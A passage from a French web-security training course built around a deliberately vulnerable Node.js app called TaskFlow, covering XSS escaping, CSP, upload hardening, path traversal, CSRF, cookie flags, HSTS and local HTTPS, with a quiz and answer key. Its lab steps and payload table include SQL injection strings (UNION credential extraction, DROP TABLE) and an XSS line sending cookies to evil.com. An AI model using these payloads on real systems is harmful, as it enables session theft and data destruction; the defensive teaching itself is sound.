  -H "Authorization: Bearer <token>" \
  -d '{"title":"<script>alert(1)</script>","description\":\"xss test\"}' | jq .
# Résultat : tâche créée avec le titre textuel, dans le navigateur : aucune
alert
```

Trace rapport > “Une XSS stockée a été identifiée dans la liste des tâches : la propriété innerHTML rendait le titre de chaque tâche comme HTML. L'exploitation via une tâche malveillante déclenchait l'exécution du script chez tout utilisateur affichant la liste.”

7. Échappement côté sortie

Concept La règle d'or : **encoder les données au moment de leur affichage**, dans le contexte où elles apparaissent. Contexte HTML → `textContent` (échappement natif du navigateur). Contexte attribut HTML → encoder `"`, `'`, `<`, `>`. Contexte JavaScript → `JSON.stringify`. La librairie **DOMPurify** est une alternative pour les cas où du HTML riche est nécessaire : elle supprime les éléments et attributs dangereux tout en conservant le formatage.

Risque concret Même des données “propres” en base peuvent devenir dangereuses si elles sont insérées dans un contexte HTML sans encodage.

Exemple de faille

```
// ⚠️ Faille, public/app.js
element.innerHTML = userInput; // exécute scripts, event handlers, etc.
element.innerHTML = '<b>' + userInput + '</b>'; // toujours vulnérable
```

Action pratique

Option 1, `textContent` (recommandé pour texte pur) :


```
// AVANT (faille)
function renderTask(task) {
  const li = document.createElement('li');
  li.innerHTML = task.title;
  taskList.appendChild(li);
}

// APRÈS (corrigé), textContent échappe automatiquement tout HTML
function renderTask(task) {
  const li = document.createElement('li');
  li.textContent = task.title;    // ← "<script>" s'affiche comme texte, ne
  // s'exécute pas
  taskList.appendChild(li);
}
```

Option 2, DOMPurify (si HTML riche nécessaire) :

```
<!-- Inclure DOMPurify depuis CDN ou npm -->
<script
src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js">
</script>
```

```
// Avec DOMPurify, nettoie le HTML avant insertion
li.innerHTML = DOMPurify.sanitize(task.title);
// "<script>alert(1)</script>" → "" (supprimé)
// "<b>Texte en gras</b>" → "<b>Texte en gras</b>" (conservé)
```

Test de validation

```
# Créer une tâche avec payload XSS
curl -s -X POST http://localhost:3000/tasks \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"title": "<script>alert(document.cookie)</script>", "description": "test"}' | jq .
```

Ouvrir le navigateur → afficher la liste → le texte `<script>alert(document.cookie)</script>` doit apparaître tel quel, sans déclencher d’alert.

Trace rapport > “La XSS stockée a été corrigée en remplaçant innerHTML par textContent pour l’affichage du titre des tâches. Le payload `<script>alert(1)</script>` s’affiche désormais comme texte brut sans exécution.”

8. CSP comme défense en profondeur

Concept La **Content Security Policy** est un en-tête HTTP qui indique au navigateur quelles sources de scripts sont autorisées. Même si une XSS est présente dans le code, une CSP stricte peut bloquer l’exécution du script injecté. C’est une défense en profondeur : elle ne remplace pas la correction du code, mais limite les dégâts en cas d’oubli.

```
// Exemple minimal à ajouter dans app.js
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
  );
  next();
});
```

⚠ La CSP sera traitée en détail dans le Module 5 (Headers de sécurité). Dans ce module : noter la directive, comprendre le principe, ne pas implémenter complètement.

9. Upload sécurisé

Concept L'upload de fichiers présente plusieurs vecteurs d'attaque : **type MIME non vérifié** (upload d'un script `.php` déguisé en image), **taille illimitée** (dénî de service par saturation disque), **nom de fichier malveillant** (path traversal avec `../../etc/passwd`), **dossier accessible publiquement** (exécution du fichier uploadé via URL). La sécurisation combine : whitelist d'extensions, vérification du type réel (magic bytes), nom aléatoire, dossier hors webroot.

Risque concret Un upload sans contrôle permet d'uploader `shell.php` et de l'exécuter via `GET /uploads/shell.php?cmd=whoami`.

Exemple de faille

```
// ⚠ Faille dans routes/upload.js
const multer = require('multer');
const upload = multer({ dest: 'public/uploads/' }); // ← dossier public +
pas de filtre

router.post('/upload', authenticate, upload.single('file'), (req, res) => {
  // req.file.originalname utilisé tel quel, path traversal possible
  const filename = req.file.originalname;
  res.json({ url: `/uploads/${filename}` });
});
```

Action pratique

```
// APRÈS (corrigé), routes/upload.js
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');

// Dossier hors webroot
const UPLOAD_DIR = path.join(__dirname, '..', 'private-uploads');
if (!fs.existsSync(UPLOAD_DIR)) fs.mkdirSync(UPLOAD_DIR, { recursive: true
});

// Whitelist d'extensions autorisées
const ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.pdf'];
const MAX_SIZE_BYTES = 5 * 1024 * 1024; // 5 MB

const storage = multer.diskStorage({
  destination: UPLOAD_DIR,
  filename: (req, file, cb) => {
    // Nom aléatoire, empêche path traversal et écrasement de fichiers
    const ext = path.extname(file.originalname).toLowerCase();
    const randomName = crypto.randomBytes(16).toString('hex') + ext;
    cb(null, randomName);
  }
});

const fileFilter = (req, file, cb) => {
  const ext = path.extname(file.originalname).toLowerCase();
  if (!ALLOWED_EXTENSIONS.includes(ext)) {
    return cb(new Error(`Extension non autorisée. Extensions acceptées :
${ALLOWED_EXTENSIONS.join(', ')}\`), false);
  }
  cb(null, true);
};

const upload = multer({
  storage,
  fileFilter,
  limits: { fileSize: MAX_SIZE_BYTES }
});

router.post('/upload', authenticate, upload.single('file'), (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'Aucun fichier reçu'
});
  res.json({
    message: 'Fichier uploadé',
    filename: req.file.filename // nom aléatoire, pas l'original
  });
});
```

Test de validation

```
# Test 1 : upload d'un fichier .php, doit être rejeté
curl -s -X POST http://localhost:3000/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@shell.php" | jq .
# Résultat attendu : 400 + "Extension non autorisée"

# Test 2 : path traversal dans le nom de fichier
curl -s -X POST http://localhost:3000/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@image.jpg;filename=../../.env" | jq .
# Résultat attendu : fichier sauvegardé avec nom aléatoire, pas "../../.env"

# Test 3 : fichier trop volumineux (>5MB)
dd if=/dev/urandom bs=1M count=6 > big.bin
curl -s -X POST http://localhost:3000/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@big.bin" | jq .
# Résultat attendu : 413 ou erreur taille
```

Trace rapport > “La route POST /upload a été sécurisée : whitelist d’extensions (.jpg, .jpeg, .png, .gif, .pdf), taille maximale 5 MB, nom de fichier aléatoire (crypto.randomBytes), dossier private-uploads hors webroot. L’upload de .php et le path traversal sont bloqués.”

10. Path traversal

Concept Le **path traversal** (ou directory traversal) consiste à utiliser des séquences `../` dans un nom de fichier ou un paramètre d’URL pour naviguer hors du répertoire prévu. Si l’app construit un chemin de fichier à partir d’un input utilisateur sans sanitization, un attaquant peut lire des fichiers système (`../../etc/passwd`), écraser des fichiers de configuration, ou exécuter des fichiers déposés hors du répertoire prévu.

Risque concret `GET /files?name=../../.env` lit le fichier `.env` contenant les secrets (JWT_SECRET, clés API, credentials DB).

Exemple de faille

```
// ⚠️ Faille : nom de fichier utilisé directement dans le chemin
router.get('/files', authenticate, (req, res) => {
  const filename = req.query.name;
  const filepath = path.join(__dirname, 'uploads', filename);
  // ← Si filename = "../../.env", filepath pointe vers le fichier .env
  res.sendFile(filepath);
});
```

Action pratique

```
// APRÈS (corrigé), sanitize le chemin avant usage
const path = require('path');

router.get('/files', authenticate, (req, res) => {
  const filename = req.query.name;

  // Nettoyer le nom de fichier : supprimer tout ce qui n'est pas
  // alphanumérique + extension
  const sanitized_name = path.basename(filename); //
  path.basename("../..../.env") -> ".env"

  // Construire le chemin absolu et vérifier qu'il est bien dans le
  // répertoire autorisé
  const UPLOADS_DIR = path.resolve(__dirname, 'uploads');
  const filepath = path.resolve(UPLOADS_DIR, sanitized_name);

  // Vérification critique : le chemin résolu doit commencer par UPLOADS_DIR
  if (!filepath.startsWith(UPLOADS_DIR)) {
    return res.status(403).json({ error: 'Accès interdit' });
  }

  res.sendFile(filepath);
});
```

Test de validation

```
# Tentative de path traversal
curl -s "http://localhost:3000/files?name=../..../.env" \
  -H "Authorization: Bearer <token>"
# Résultat attendu après correction : 403 Forbidden ou 404 (fichier
# introuvable dans uploads/)
```

Trace rapport > “Le path traversal a été mitigé via path.basename() pour supprimer les séquences ../ et path.resolve() + vérification du préfixe pour confirmer que le chemin résolu reste dans le répertoire autorisé.”

TP, 65 minutes

Étape 1 : Audit, recherche d'injections (10 min)

```
# Rechercher toutes les concaténations dans les requêtes SQL
grep -n "db.prepare\|db.query" vuln-app/routes/*.js

# Rechercher les innerHTML côté client
grep -n "innerHTML" vuln-app/public/*.js

# Rechercher les uploads sans filtre
grep -n "multer\|upload" vuln-app/routes/*.js
```

☐ Documenter chaque occurrence : fichier, ligne, type de faille suspectée

Étape 2 : Exploit SQLi ' OR '1'='1 (5 min)

```
# Connexion et récupération d'un token
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' | jq -r '.token')

# Exploitation recherche SQLi
curl -s "http://localhost:3000/tasks?q=%' OR '1'='1" \
  -H "Authorization: Bearer ${TOKEN}" | jq length

# Comparer avec le nombre de tâches d'alice seulement
curl -s "http://localhost:3000/tasks" \
  -H "Authorization: Bearer ${TOKEN}" | jq length
```

☐ Si les deux nombres diffèrent → injection confirmée. Documenter.

Étape 3 : Correction requêtes paramétrées, toutes les routes (15 min)

```
# Identifier toutes les requêtes non paramétrées
grep -n "db.prepare" vuln-app/routes/*.js | grep -v "'" | grep -v '"'
```

☐ Corriger dans `routes/tasks.js` :- GET /tasks (recherche q) - GET /tasks/:id - PUT /tasks/:id - DELETE /tasks/:id

☐ Corriger dans `routes/auth.js` :- POST /login (SELECT par username)

☐ Re-tester les exploits de l'étape 2 → résultats normaux attendus

Étape 4 : Exploit XSS via création de tâche (5 min)

```
# Créer une tâche avec payload XSS
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"title":"<img src=x onerror=alert(document.cookie)>","description":"xss"}' | jq .
```

☐ Ouvrir `http://localhost:3000` dans le navigateur ☐ Confirmer que l'alert se déclenche → XSS stockée confirmée ☐ Documenter dans le rapport

Étape 5 : Correction rendu sortie (10 min)

☐ Ouvrir `vuln-app/public/app.js` ☐ Localiser toutes les occurrences de `innerHTML` utilisées pour afficher des données utilisateur ☐ Remplacer par `textContent` ☐ Re-tester : ouvrir le navigateur → l'alert ne se déclenche plus → le payload s'affiche comme texte

Étape 6 : Validation Joi sur tous les endpoints (15 min)

☐ Installer Joi : `cd vuln-app && npm install joi` ☐ Créer `vuln-app/validators/auth.js` (code section 2) ☐ Appliquer la validation sur `POST /register` et `POST /login` ☐ Créer le schéma pour `POST /tasks` et `PUT /tasks/:id` ☐ Tester : ``bash # Username trop court

```
curl -s -X POST http://localhost:3000/register
-H "Content-Type: application/json"
-d '{"username":"ab","password":"password123"}' | jq . # Attendu : 400 avec message d'erreur

# Titre de tâche vide curl -s -X POST http://localhost:3000/tasks
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d '{"title":"","description":""}' | jq . # Attendu : 400 ``
```

Étape 7 : Sécurisation upload (5 min)

☐ Remplacer la configuration multer dans `routes/upload.js` (code section 9) ☐ Tester l'upload d'un `.php` → 400 attendu ☐ Tester l'upload d'un `.jpg` valide → succès, nom aléatoire dans la réponse

Code AVANT/APRÈS, Récapitulatif visuel

SQLi, recherche de tâches

```
// X AVANT, vulnérable
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"
).all();

// ✓ APRÈS, corrigé
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = ? AND title LIKE ?"
).all(req.user.id, `%${q}%`);
```

SQLi, lecture par ID

```
// X AVANT, vulnérable
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = " + req.params.id
).get();

// ✓ APRÈS, corrigé
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = ?"
).get(req.params.id);
```

XSS, rendu côté client

```
// X AVANT, vulnérable
li.innerHTML = task.title;

// ✓ APRÈS, corrigé
li.textContent = task.title;
```

Upload, sans contrôle

```
// X AVANT, vulnérable
const upload = multer({ dest: 'public/uploads/' });
// Aucune restriction d'extension, de taille, ni de nom

// ✓ APRÈS, corrigé (voir section 9 pour le code complet)
const upload = multer({ storage, fileFilter, limits: { fileSize: 5 * 1024 *
1024 } });
// Extension whitelisted, nom aléatoire, dossier hors webroot
```

Payloads d'attaque, Référence

Injection SQL

PAYLOAD	EFFET ATTENDU SUR APP VULNÉRABLE
' OR '1'='1	Retourne toutes les tâches de tous les utilisateurs
' OR 1=1--	Contourne un WHERE, retourne tout
' UNION SELECT id, username, password, 4 FROM users--	Exfiltre les credentials
1; DROP TABLE tasks--	Tentative de destruction (SQLite ignore souvent le ;)
' AND 1=2 UNION SELECT 1, sqlite_version(), 3, 4--	Fingerprint version SQLite

XSS

PAYLOAD	EFFET ATTENDU SUR APP VULNÉRABLE
<code><script>alert(1)</script></code>	Alert basique, confirme XSS
<code><script>alert(document.cookie)</script></code>	Affiche les cookies
<code></code>	XSS via event handler, contourne les filtres basiques
<code><script>fetch('https://evil.com/?c='+btoa(document.cookie))</script></code>	Exfiltration de cookie en base64
<code>javascript:alert(1)</code>	XSS via attribut href si innerHTML + lien

Mini-quiz, 8 QCM

Q1. Quelle est la méthode correcte pour prévenir l'injection SQL ? - A) Filtrer les caractères ' et " avec replace() - B) Utiliser des requêtes paramétrées (prepared statements) - C) Encoder les entrées en Base64 avant insertion - D) Utiliser uniquement des requêtes GET (pas POST)

Q2. Un payload ' OR '1'='1 dans un champ de recherche permet de : - A) Crasher le serveur - B) Contourner un filtre WHERE et retourner toutes les lignes - C) Injecter un script JavaScript - D) Accéder au système de fichiers

Q3. La différence entre XSS stockée et XSS réfléchi est : - A) La XSS stockée est côté serveur, la réfléchi côté client - B) La XSS stockée persiste en base de données et affecte tous les visiteurs - C) La XSS réfléchi est plus dangereuse car elle persiste - D) Il n'y a pas de différence en termes d'impact

Q4. Remplacer innerHTML par.textContent protège contre : - A) L'injection SQL - B) Le path traversal - C) L'exécution de scripts injectés (XSS) - D) La falsification de token JWT

Q5. La validation côté client (JavaScript dans le navigateur) : - A) Est suffisante si bien implémentée - B) Peut être contournée par un attaquant utilisant curl ou Burp Suite - C) Est plus sûre que la validation serveur - D) Est obligatoire pour la sécurité OWASP

Q6. Pour un upload de fichier sécurisé, le dossier de destination doit être : - A) Dans public/uploads/ pour permettre l'accès direct par URL - B) Hors du webroot pour empêcher l'accès direct par URL - C) Dans le dossier racine du projet - D) Sur un CDN externe

Q7. path.basename(".././.env") retourne : - A) .././.env - B) .env - C) env - D) Une erreur

Q8. Joi est utilisé pour : - A) Chiffrer les mots de passe - B) Signer les tokens JWT - C) Valider et assainir les données entrantes selon un schéma - D) Gérer les sessions utilisateur

Corrigé QCM

Q	RÉPONSE	EXPLICATION
1	B	Les placeholders séparent structurellement le code SQL des données
2	B	' OR '1'='1' rend la condition WHERE toujours vraie
3	B	XSS stockée = persistance en BDD = impact sur tous les visiteurs
4	C	textContent échappe automatiquement les balises HTML
5	B	curl/Burp envoient des requêtes HTTP directement, bypass le JS
6	B	Hors webroot = non accessible par URL directe
7	B	path.basename supprime le chemin et retourne uniquement le nom de fichier
8	C	Joi définit des schémas de validation et retourne les erreurs

Livable

```
# Depuis la racine du dépôt, après toutes les corrections
git add vuln-app/
git commit -m "M4: parametrized SQL queries, textContent XSS fix, Joi
validation, secure upload"
git tag M4-injections-corrigees
git push origin main --tags
```

Ressources

- OWASP A03:2021, Injection : https://owasp.org/Top10/A03_2021-Injection/
- OWASP A04:2021, Insecure Design : https://owasp.org/Top10/A04_2021-Insecure_Design/
- OWASP SQL Injection Prevention Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP XSS Prevention Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP File Upload Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

- DOMPurify : <https://github.com/cure53/DOMPurify>
- Joi documentation : <https://joi.dev/>

MODULE 5

Durcir le navigateur et le canal



Module 5. Durcir le navigateur et le canal

Ce module durcit la surface HTTP de TaskFlow : on active Helmet, on protège les formulaires contre le CSRF, on verrouille les cookies, et on force HTTPS en local.

Objectifs opérationnels

À la fin de ce module, tu auras dans ton application : - ☒ Helmet configuré avec CSP, HSTS, X-Frame-Options - ☒ Token CSRF généré et vérifié sur toutes les routes POST non-API - ☒ Cookies session avec flags `HttpOnly`, `Secure`, `SameSite=Strict` - ☒ Certificat local mkcert + redirection HTTP→HTTPS - ☒ Section M5 rédigée dans le rapport

Carte du module

ÉTAPE	CONCEPT	ACTION TP	TEMPS
Rappels	Concepts 1-8	Lecture active	15 min
1	Helmet + CSP	<code>npm install helmet</code> + config	10 min
2	CSRF token	<code>npm install csurf</code> + middleware	15 min
3	Durcissement cookies	Flags session	5 min
4	HTTPS local	mkcert + redirect	10 min
Quiz	QCM 6 questions	,	5 min

CONCEPT 1, CSRF (Cross-Site Request Forgery)

Rappel. Un site malveillant fait exécuter une requête HTTP à un utilisateur déjà authentifié sur ton application, en exploitant le fait que le navigateur envoie automatiquement les cookies de session. L'attaquant ne voit pas la réponse, mais l'action est exécutée : transfert d'argent, changement d'email, suppression de données. Le serveur ne peut pas distinguer une requête légitime d'une requête forgée si aucun token secret n'est vérifié.

Risque concret	Un utilisateur connecté sur TaskFlow visite un site piégé. Une balise <code></code> ou un formulaire caché déclenche <code>POST /tasks/delete</code> en son nom. La tâche est supprimée sans que l'utilisateur ait rien fait.
Exemple de faille	Voir bloc ci-dessous
À vérifier dans l'app	Aucun middleware CSRF présent ; toutes les routes POST acceptent n'importe quelle origine
Correction	Voir bloc ci-dessous
Test de validation	<pre>curl -X POST http://localhost:3000/tasks/1/delete sans token CSRF doit retourner 403 Forbidden</pre>
Trace rapport	« Aucun mécanisme CSRF n'était présent sur les routes POST. Le middleware <code>csrf</code> a été ajouté ; chaque formulaire HTML inclut désormais un champ <code>_csrf</code> signé côté serveur. »

Code vulnérable :

```
// vuln-app/routes/tasks.js, AVANT
router.post('/tasks/:id/delete', requireAuth, (req, res) => {
  db.run('DELETE FROM tasks WHERE id = ?', [req.params.id]);
  res.redirect('/tasks');
});
// Aucun contrôle d'origine, aucun token, n'importe quel site peut déclencher
cette route.
```

Code corrigé :

```
// app.js, ajouter APRÈS express-session
const csrf = require('csrf');
const csrfProtection = csrf({ cookie: false }); // token lié à la session

app.use(csrfProtection);

// Injecter le token dans toutes les vues
app.use((req, res, next) => {
  res.locals.csrfToken = req.csrfToken();
  next();
});
```

```
<!-- Dans chaque formulaire HTML -->
<form method="POST" action="/tasks/1/delete">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <button type="submit">Supprimer</button>
</form>
```

TP, Étape 2 : Ajouter CSRF

ÉTAPE 2.1, INSTALLATION

```
cd vuln-app
npm install csrf
```

ÉTAPE 2.2, INTÉGRATION DANS APP.JS

Ouvrir `vuln-app/app.js` . Après la configuration de `express-session` , ajouter le bloc corrigé ci-dessus.

ÉTAPE 2.3, TEST DE VALIDATION

```
# Sans token : doit retourner 403
curl -X POST http://localhost:3000/tasks/1/delete \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "connect.sid=<session_valide>"
```

✓ **Point de vérification** : réponse `403 invalid csrf token` .

CONCEPT 2, Token CSRF Synchronizer Pattern

Rappel. Le pattern synchronizer génère un token aléatoire unique par session côté serveur, l'insère dans le HTML rendu, et l'exige dans chaque requête POST/PUT/DELETE. Un site tiers ne peut pas lire le token (Same-Origin Policy) donc ne peut pas forger la requête. Ce pattern est implémenté par `csrf` . Il faut distinguer : les routes API JSON (protégées par vérification du header `Content-Type` et de l'absence de cookies cross-origin) et les routes HTML (protégées par le token dans le formulaire).

Risque concret	Sans token, un formulaire <code><form></code> hébergé sur <code>evil.com</code> peut soumettre à <code>taskflow.local</code> en utilisant les cookies de la victime.
Exemple de faille	Template EJS sans <code>_csrf</code> , formulaire accepté inconditionnellement
À vérifier dans l'app	Chercher tous les <code><form method="POST"></code> dans <code>vuln-app/views/</code> , aucun n'a de champ <code>_csrf</code>
Correction	Ajouter <code><input type="hidden" name="_csrf" value="<%= csrfToken %>"></code> dans chaque formulaire
Test de validation	Soumettre le formulaire sans le champ caché → 403
Trace rapport	« Le pattern synchronizer a été implémenté via <code>csrf</code> . Tous les formulaires HTML embarquent un token signé HMAC, vérifié côté serveur avant traitement. »

Audit des templates :

```
grep -rn 'method="POST"' vuln-app/views/
# Vérifier que chaque occurrence a <input type="hidden" name="_csrf"
```

CONCEPT 3, SameSite Cookie

Rappel. L'attribut `SameSite` d'un cookie indique au navigateur dans quels contextes cross-site il doit envoyer ce cookie. `Strict` : le cookie n'est jamais envoyé lors d'une navigation cross-site (protection CSRF maximale). `Lax` : le cookie est envoyé uniquement lors de navigations GET de haut niveau (liens). `None` : toujours envoyé (nécessite `Secure`). Pour une application qui n'a pas besoin d'être embarquée dans des iframes tiers, `Strict` est la valeur recommandée.

Risque concret	Cookie de session envoyé sur toutes les requêtes cross-site → CSRF facilité même avec un token si implémentation incomplète
Exemple de faille	<code>app.use(session({ secret: 'abc', cookie: {} }))</code> , pas de SameSite
À vérifier dans l'app	<code>grep -n "cookie" vuln-app/app.js</code> , vérifier absence de <code>sameSite</code>
Correction	<code>cookie: { sameSite: 'strict', httpOnly: true, secure: true }</code>
Test de validation	Inspecter les headers Set-Cookie dans Firefox DevTools → <code>SameSite=Strict</code> visible
Trace rapport	« L'attribut <code>SameSite=Strict</code> a été ajouté au cookie de session, réduisant le vecteur CSRF au niveau navigateur. »

Code corrigé :

```
// vuln-app/app.js
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // Concept 4
    secure: true,        // Concept 4
    sameSite: 'strict',  // ← ajout
    maxAge: 3600000      // 1h
  }
}));
```

CONCEPT 4, HttpOnly / Secure Flags

Rappel. `HttpOnly` interdit à JavaScript (y compris un script XSS injecté) de lire le cookie via `document.cookie`. `Secure` force le navigateur à n'envoyer le cookie que sur une connexion HTTPS. Ces deux flags sont indépendants mais complémentaires : `HttpOnly` protège contre le vol de session via XSS, `Secure` protège contre l'interception réseau (man-in-the-middle). En développement local avec `mkcert`, les deux peuvent être activés simultanément.

Risque concret	Sans <code>HttpOnly</code> : un script XSS peut voler le cookie de session (<code>document.cookie</code>). Sans <code>Secure</code> : le cookie transite en clair sur HTTP.
Exemple de faille	<code>cookie: {}</code> , aucun flag défini, cookie lisible par JS et envoyé en HTTP
À vérifier dans l'app	<code>curl -I http://localhost:3000/login</code> → vérifier <code>Set-Cookie</code> dans la réponse
Correction	<code>cookie: { httpOnly: true, secure: true, sameSite: 'strict' }</code> (voir Concept 3)
Test de validation	Ouvrir la console navigateur : <code>document.cookie</code> ne doit pas afficher le cookie de session
Trace rapport	« Les flags <code>HttpOnly</code> et <code>Secure</code> ont été activés sur le cookie de session, bloquant le vol via XSS et l'interception réseau. »

TP, Étape 4 : Durcir les cookies

```
# Avant correction, vérifier les flags absents
curl -I http://localhost:3000/login
# Chercher "Set-Cookie" dans la réponse
```

Modifier `vuln-app/app.js` avec la configuration de session du Concept 3.

```
# Après correction
curl -I https://localhost:3000/login
# Set-Cookie doit afficher : HttpOnly; Secure; SameSite=Strict
```

✓ **Point de vérification** : la ligne `Set-Cookie` contient les trois attributs.

CONCEPT 5, HSTS (HTTP Strict Transport Security)

Rappel. HSTS est un header HTTP que le serveur envoie pour indiquer au navigateur de n'utiliser que HTTPS pour ce domaine pendant une durée définie. Même si l'utilisateur tape `http://`, le navigateur refuse la connexion non-chiffrée et force `https://` directement. La valeur `max-age=31536000` correspond à un an. L'option `includeSubDomains` étend la protection aux sous-domaines. Ce header n'a d'effet que sur une connexion HTTPS initiale.

Risque concret	Sans HSTS, un attaquant peut intercepter la première requête HTTP et rediriger vers un site frauduleux (SSL stripping).
Exemple de faille	Aucun header <code>Strict-Transport-Security</code> , vérifié avec <code>curl -I</code>
À vérifier dans l'app	<code>curl -I https://localhost:3000</code> → absence de <code>Strict-Transport-Security</code>
Correction	Helmet active HSTS automatiquement avec <code>hsts: { maxAge: 31536000 }</code>
Test de validation	<code>curl -I https://localhost:3000</code> → header <code>Strict-Transport-Security: max-age=31536000</code> présent
Trace rapport	« Le header HSTS avec <code>max-age=31536000</code> a été activé via Helmet, forçant les connexions futures en HTTPS. »

CONCEPT 6, Content Security Policy (CSP)

Rappel. CSP est un header qui liste les sources autorisées pour chaque type de ressource : scripts, styles, images, iframes. Il bloque les scripts injectés par XSS qui ne proviennent pas d'une source approuvée. `default-src 'self'` interdit le chargement de toute ressource externe. On peut affiner : `script-src 'self' cdn.example.com` pour autoriser un CDN spécifique. La directive `report-uri` permet de collecter les violations sans bloquer (mode `Content-Security-Policy-Report-Only`).

Risque concret	Sans CSP, un script XSS peut charger une bibliothèque depuis un serveur attaquant et exfiltrer des données.
Exemple de faille	Aucun header <code>Content-Security-Policy</code> , tout script externe est accepté
À vérifier dans l'app	<code>curl -I https://localhost:3000</code> → absence de <code>content-security-policy</code>
Correction	Voir configuration Helmet ci-dessous
Test de validation	<code>curl -I https://localhost:3000</code> → header CSP présent avec <code>default-src 'self'</code>
Trace rapport	« Une Content Security Policy restrictive (<code>default-src 'self'</code>) a été déployée via Helmet, réduisant la surface d'exploitation XSS. »

Configuration Helmet avec CSP :

```
// vuln-app/app.js
const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ['self'],
      scriptSrc: ['self'],
      styleSrc: ['self', 'unsafe-inline'], // à durcir si possible
      imgSrc: ['self', 'data:'],
      connectSrc: ['self'],
      fontSrc: ['self'],
      objectSrc: ['none'],
      frameSrc: ['none'],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
}));
```

TP, Étape 1 : Installer et configurer Helmet

```
cd vuln-app
npm install helmet
```

Ajouter le bloc de configuration ci-dessus en haut de `vuln-app/app.js`, avant toute route.

```
# Vérifier les headers
curl -I https://localhost:3000
```

✓ **Point de vérification :** `content-security-policy`, `strict-transport-security`, `x-frame-options` présents dans la réponse.

CONCEPT 7, X-Frame-Options / Clickjacking

Rappel. Le clickjacking consiste à superposer un `iframe` transparent contenant ton application sur un site piège, et à faire cliquer l'utilisateur sur des éléments invisibles (bouton "supprimer", "confirmer le virement"). Le header `X-Frame-Options: DENY` interdit au navigateur d'afficher la page dans n'importe quel `iframe`. `SAMEORIGIN` l'autorise uniquement pour les iframes de même origine. Helmet ajoute ce header automatiquement avec la valeur `SAMEORIGIN` par défaut ; pour une application sans besoin d'`iframe` externe, `DENY` est préférable.

Risque concret	TaskFlow embarqué dans un iframe invisible → l'utilisateur clique sur "Supprimer toutes les tâches" en pensant cliquer sur autre chose.
Exemple de faille	Aucun header <code>X-Frame-Options</code>
À vérifier dans l'app	<code>curl -I https://localhost:3000</code> → chercher <code>x-frame-options</code>
Correction	<code>app.use(helmet.frameguard({ action: 'deny' })))</code> ou inclus dans la config Helmet globale
Test de validation	Créer un fichier HTML local avec <code><iframe src="https://localhost:3000"></code> → le navigateur bloque l'affichage
Trace rapport	« Le header <code>X-Frame-Options: DENY</code> a été activé, bloquant toute tentative de clickjacking via iframe. »

CONCEPT 8, HTTPS Local avec mkcert

Rappel. En développement, les certificats auto-signés génèrent des avertissements navigateur et ne permettent pas de tester les comportements réels (HSTS, `Secure` cookies). `mkcert` crée une autorité de certification locale reconnue par le système et génère des certificats valides pour `localhost`. Cela permet de tester le comportement de production sans déployer. La redirection HTTP→HTTPS s'implémente avec un middleware qui vérifie `req.secure` ou le header `x-forwarded-proto`.

Risque concret	Sans HTTPS en dev, les flags <code>Secure</code> sur les cookies sont ignorés et le comportement HSTS ne peut pas être testé.
Exemple de faille	Serveur HTTP pur : <code>app.listen(3000)</code> , cookies <code>Secure</code> non envoyés
À vérifier dans l'app	<code>vuln-app/app.js</code> , chercher <code>https.createServer</code> absent
Correction	Voir bloc ci-dessous
Test de validation	<code>curl -k https://localhost:3443</code> répond normalement ; <code>curl http://localhost:3000</code> retourne <code>301 Moved Permanently</code>
Trace rapport	« HTTPS local activé avec mkcert. La redirection HTTP→HTTPS (301) est fonctionnelle. Les flags <code>Secure</code> et HSTS sont effectifs. »

Installation mkcert et génération du certificat :

```
# Windows (PowerShell admin) ou macOS/Linux
# Windows : choco install mkcert OU winget install FiloSottile.mkcert
# macOS : brew install mkcert

mkcert -install          # installe l'autorité CA locale
cd vuln-app
mkcert localhost 127.0.0.1 ::1
# Génère : localhost+2.pem localhost+2-key.pem
```

Serveur HTTPS dans app.js :

```
// vuln-app/app.js
const https = require('https');
const http = require('http');
const fs = require('fs');

const httpsOptions = {
  key: fs.readFileSync('./localhost+2-key.pem'),
  cert: fs.readFileSync('./localhost+2.pem'),
};

// Redirection HTTP → HTTPS
const httpApp = express();
httpApp.use((req, res) => {
  res.redirect(301, `https://${req.hostname}:3443${req.url}`);
});
http.createServer(httpApp).listen(3000, () => {
  console.log('HTTP redirect listening on port 3000');
});

// Serveur HTTPS principal
https.createServer(httpsOptions, app).listen(3443, () => {
  console.log('HTTPS server running on https://localhost:3443');
});
```

TP, Étape 5 : HTTPS local

```
# Installer mkcert selon votre OS
mkcert -install
cd vuln-app && mkcert localhost 127.0.0.1 ::1

# Redémarrer l'application
node app.js

# Tester la redirection
curl -v http://localhost:3000/
# Doit retourner : 301 Moved Permanently → https://localhost:3443

# Tester HTTPS
curl -k -I https://localhost:3443/
# Doit retourner tous les headers Helmet
```

